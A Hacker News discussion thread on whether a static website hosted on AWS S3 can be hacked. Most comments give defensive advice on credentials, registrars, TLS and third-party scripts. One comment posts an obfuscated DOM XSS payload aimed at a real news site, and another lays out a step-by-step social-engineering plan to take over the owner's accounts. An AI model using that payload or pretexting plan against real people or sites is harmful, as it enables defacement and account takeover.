Ask HN: Is a static site hosted on AWS S3 'hackable'?

https://news.ycombinator.com/item?id=9855770

by bikamonki • 11 years ago

51 47 11 years ago

news.ycombinator.com

Let's assume both the domain registrar's and AWS pwd are super strong, and that static html files are uploaded to S3 from a 'clean' computer and only from that computer. Can the site be hacked? Defaced? DDOS?

SEJeff• 11 years ago

Sure, strong credentials can still be leaked due to a simple phishing email to the right person.

There is no such thing as an unhackable system, only more and less difficult to hack systems.

bikamonki• 11 years ago

For the sake of argument let's assume credentials are not hackable. My question: is the site itself hackable?

bigiain3• 11 years ago

Yes - but probably only for quite small values of yes.

Who's your threat?

Your attacker would need a backdoor or 0day into AWS itself - which while you'd be a fool to assume such a thing doesn't exist, its very unlikely to get "burned" on a run-of-the-mill website hack or defacement.

If your site is ISIS or Wikileaks or DeSpiegel or The Guardian (or some other well known considered-by-the-NSA-to-be-a-terrorist-organisation) - you wouldn't bet against the NSA having firmware backdoors in the network cards and hard drive controllers underneath AWS (as well as the hypervisor and all the available deployed virtualised images, and all the internal Amazon network hardware and the core routers at both ends of Amazon's datacenter's optical fibres).

If your threat model is closer to Anonymous or GamerGate, you're probably more at risk of your "unhackable" credentials being social engineered than a purely software hack.

But in a purely binary interpretation of your question - Yes. _Everything_ is "hackable" given a sufficiently motivated and resourced attacker.

mattkrea2• 11 years ago

I don't think anyone will be willing to say yes or no.

Just don't count on something being 'unhackable'.

AFAIK there are no published flaws in S3 static hosting.

DiabloD3• 11 years ago

A static website that is served over HTTPS only[1], and lets say for the sake of argument, HTTPS secure enough not to MITM, and no services outside of your control (DNS, etc) are MITMable, and your credentials to Amazon can't be stolen...

The only way to hack your site is to actually be at Amazon with access to whatever disk array stores your data. As in, I'm pretty sure "inside job" is the only route left.

[1] http://www.troyhunt.com/2015/06/understanding-http-strict-tr...

tptacek• 11 years ago

Presuming you don't misconfigure S3, this is one of the least "hackable" ways to stand up a website.

dguido3• 11 years ago

Not through a web application vulnerability it can't (there is no application code to break!).

Your biggest issues with that setup will be:

1. Credential and permissions management. Don't lose control of your access keys to AWS! Set up "MFA" at the very least. If you use your AWS account for other purposes, use IAM to ensure that other users cannot access the S3 bucket with the site in it.

2. Getting that green lock (e.g. HTTPS). You can pay $800/month or something insane to Cloudfront to get a custom TLS cert on their CDN, or you can get Cloudflare's "universal ssl" for $20.

3. DDoS is not really a concern. It would be nearly impossible to DDoS an HTML-only website hosted in an S3 bucket. I'd really like to see someone try. The only thing that could happen is you get charged a bit more that month while people are DDoS'ing you. But if you're behind a CDN like Cloudfront or Cloudflare (which can cache everything because it's plain HTML), then the impact would be reduced.

4. Your Registrar suddenly becomes a huge risk. Make sure you use a secure domain registrar (ie. NOT GODADDY!), that the registrar has a "Registrar-Lock" turned on for your domain, and that your account with them has 2FA. If you screw that up, then someone might be able to socially engineer the phone rep at the registrar to transfer the domain, change the nameservers, etc. This happens depressingly often.

5. 3rd party services you use could get hacked. You'll likely import a bunch of JavaScript from other websites onto your own. If any of those websites get compromised, it might affect your website too. Make sure to use 2FA on every service you can (https://twofactorauth.org/) and minimize the amount of JavaScript/fonts/css/whatever that you load from 3rd parties (re-host it locally).

I highly recommend setting up websites this way. It's fast, easy to maintain, and incredibly secure. We do this for the trailofbits.com website and we're very happy with it. Jekyll FTW.

ps. don't forget you can use Github Pages too.

Gigablah• 11 years ago

A custom TLS cert for Cloudfront costs $600/month. And that's just to deploy it, you still have to buy the cert yourself.

imperalix• 11 years ago

SNI only distributions don't cost $600/month.

jaggederest• 11 years ago

There are various other ways you could alter a static website too - leaving aside client-side stuff like malware, you could DNS hijack or MITM it with a bogus cert.

dguido3• 11 years ago

OP mentioned they had a dedicated computer, so I ignored endpoint security issues.

DNS hijacking and other firms of network MITM are a risk, sure, but they are so incredibly rare to see in the wild that it's outside the scope of most people's concerns. "Normal" attackers generally can't pull it off.

rsync3• 11 years ago

"Not through a web application vulnerability it can't (there is no application code to break!)."

This isn't true. Data is being served up to web browsers over port 80. That's a web server. It might not be like any web server you've ever run ... it might not be apache or thttpd or zeus or whatever ... but there is code that is spitting out HTTP over port 80/443. That's a web server.

So let's say the S3 data is immutable, as far as the "web server" and the attacker are concerned ... that's very nice, of course, but if you have control over the web server, instead of parlaying that into control over the underlying data, just tell the web server to spit out other data.

The S3 content is still safe and unchanged, but your website is nicely defaced, since your "amazon s3 webserver" exploit is just feeding it new content.

(drastically oversimplified, of course - but be clear, if there is a web server (and there is) there is web-server-attack-surface)

dguido3• 11 years ago

No one has the source or binary code for the webserver AWS uses. It would be nearly impossible to write an exploit for it blind like that. Even if you did write it blind, it would be a slow process that likely requires bruteforcing parts of the address space and there is no way you could do it without alerting Amazon.

tl;dr what you described is possible, I guess, but so incredibly unlikely it's not even worth thinking about.

ajross• 11 years ago

If the threat model posits an attacker with an exploit for Amazon S3, then we're well out of the realm that is appropriate for security questions about static web sites.

That's not to say that S3 could not possibly be broken, but if it is, there are vastly more attractive targets for that attack than some random static site.

geofft2• 11 years ago

If Amazon is running a general-purpose web server with persistent state for S3 static hosting, I'd argue they're doing something very wrong.

It's not hard to write a web server that reads from persistent storage but has no need or ability to write to persistent storage. (You can give it a cache, but the cache is destroyable.) So you can attack the web server in memory (maybe), but there's no way to persist the attack. As soon as the web server gets restarted, the attack goes away, and there's also no way to spread the attack from one web server to any of the countless others.

Then it's a simple matter of load-balancing at scale and restarting these stateless web servers on a regular basis to make exploits infeasible, at least until you get to substantially more motivated and funded attackers. And Amazon is a fan of both load-balancing at scale and restarting things.

kalleboo• 11 years ago

Re: 2. Uploading an SSL cert and using it on CloudFront is free, as long as you're fine with it requiring SNI. CloudFlare "Universal SSL" also requires SNI. The $600/mo thing is if you want dedicated IPs at all their endpoints.

evandrix2• 11 years ago

"Not through a web application vulnerability it can't (there is no application code to break!)." eg. metadata in images can contain executable code

geofft2• 11 years ago

Not intentionally-executable code, and unintentionally-executable code (i.e. exploits in image renderers) would affect the client, not the server, which isn't the direction we're concerned about.

If the server transcodes images, then yes, it should do the transcoding in a throwaway sandbox that outputs some hard-to-misparse intermediate format like a raw pixel array. But S3 doesn't do transcoding.

vacri• 11 years ago

Make sure you use a secure domain registrar

AWS now resells domains from a selection of TLDs (generally the most common ones). They've partnered with gandi.net, who does the backend registrar stuff, but you can do it all from the Route53 AWS console. Means you can keep everything all in one place.

robwormald• 11 years ago

My parent's business got nailed by #4, and its been an unbelievable nightmare dealing with. Any suggestions on secure domain registrars?

kirushik2• 11 years ago

Gandi works reasonably good for me.

AFAIR, it's also under French jurisdiction, not a US one. (This might be good in case of fake DMCA takedowns, but also bad in some other cases...)

nilsjuenemann• 11 years ago

That isn't true. Every static website could be vulnerable through DOM XSS. In this case the integrity of the site is violated.

PoC: http://bit.ly/1S834lS - redirects to http://www.heute.de/#"><img src=x onerror=document.write(String.fromCharCode(60,105,102,114,97,109,101, 32,115,114,99,61,34,104,116,116,112,58,47,47,99,97,116, 46,119,119,119,46,104,101,117,116,101,46,100,101,46,109,101,111,119, 98,105,102,121,46,99,111,109,47,34,32,115,116,121,108,101,61,34,98, 111,114,100,101,114,58,32,48,59,32,119,105,100,116,104,58,32,49,48, 48,37,59,32,104,101,105,103,104,116,58,32,49,48,48,37,59,32,109,97, 114,103,105,110,58,32,45,56,112,120,59,112,111,115,105,116,105,111, 110,58,32,97,98,115,111,108,117,116,101,59,34,62))>

We just inject a iframe through the onerror handler of the <img> tag:

In this case the site is using a outdated jQuery version, which is vulnerable to this kind of attack.

http://bugs.jquery.com/ticket/9521

mcintyre1994• 11 years ago

Hey, would you mind splitting that line up a bit? It's screwing with the layout and making a lot of comments really wide.

Edit: Thanks :)

contingencies• 11 years ago

Endpoint security.

SSH guessable passwords.

HTTP daemon vulnerabilities.

Any other daemons running.

Resource exhaustion.

DNS.

Client MITM.

Route corruption.

evandrix2• 11 years ago

You can position your site behind CloudFlare's DDoS protection, eg. http://ht.transparencytoolkit.org

aruggirello• 11 years ago

Nobody mentioned it, but having a static website vs. a dynamic one, leaves your contents exposed to scraping, proxy hijacking and framing. While the latter can be mitigated by a one-line script, IMHO you basically can't defeat scrapers and proxies client-side-only - modern scrapers are able to run any javascript if needed. So expect a plethora of bad/spam links, unauthorized copies of your pages - etc. Especially if your contents attracts a lot of traffic and/or you have many competitors.

I recommend you watch periodically for your contents to pop up on random domains (you can google for your exact texts) and file your DMCA requests as soon as they appear.

It might help to use <base> tags, absolute URL links and the likes in all of your web pages, as well as mention your domain both in textual contents and images (logo?) - that actively discourages "lazy duplicates" of your pages (but not copy/pasting your articles on a different site by hand).

Just my two cents.

Artemis2• 11 years ago

Whether your site is static or dynamic doesn't changes anything: you still have to expose content to your users.

Furthermore, any good browser will respect [Content Security Policies](https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CS...) and not load frames to your website.

syllogism• 11 years ago

What steps would you go through if you lost the passwords to either the domain registrar or the AWS account? How does the account recovery work?

Usually it relies on ownership of some third account, e.g. email. Okay, what's the recovery process for the email account? Receiving an SMS to a particular phone number? Okay, what's the recovery process for that phone number? What's the process to get the phone number redirected?

At some point you're going to end up being able to ring up a number and tell someone a name, address, date of birth etc. Best case you ring up and they say okay we'll mail you something. Or they make you come in person and sign.

Customers lose credentials constantly, and won't tolerate being told that this means their account is unrecoverable. So there is almost always another way.

matiu• 11 years ago

How I would hack it (if I was evil and cared enough):

1. Gather info from whois DB, google search, site spidering, going to your house and looking through your trash.

2. Ring you up - Hello I'm Joe from the tax department/credit card company/bank we need to confirm your address .. give your address .. could I please confirm you are the credit card holder, I just need the last 4 digits

3. Ring your friends, family and business contacts - use smooth talking to gather as much info as possible.

4. Ring up Amazon - oh yes I am mister XXX, I forgot my password, please can you reset it. If they don't I'll try to guess information, and glean any info out of the replies.

5. Ring up your email provider and do the same

6. Keep on ringing about 8 hours apart to make sure I get different teams, so it's fresh each time, until I had enough info to get access to the account

7. Make sure to delete all backups

8. Deface to my hearts content - change all the passwords, blah blah

--------

This is the info I'd try and gather:

* Name - probably from whois

* DOB - probably from public records search - or ringing friends

* Phone - probably from your trash or mailbox

* Last four credit card digits - probably will get from your trash, or tricking you on the phone

* Date of last payment - Probably from tricking Amazon

* Password bits - pet's name, girfriend/wife/child names and ages, keylogger in an email I sent you

TamDenholm• 11 years ago

As always the weakest part of any security system is the people within it.

gesman• 11 years ago

A bit out of the topic,

But I think generally if your site is not using top 3 popular CMS-es like WP, Drupal and Joomla - this will make 99.9% of attackers to move on and scan for easier targets elsewhere.

Ask HN: Is a static site hosted on AWS S3 'hackable'?

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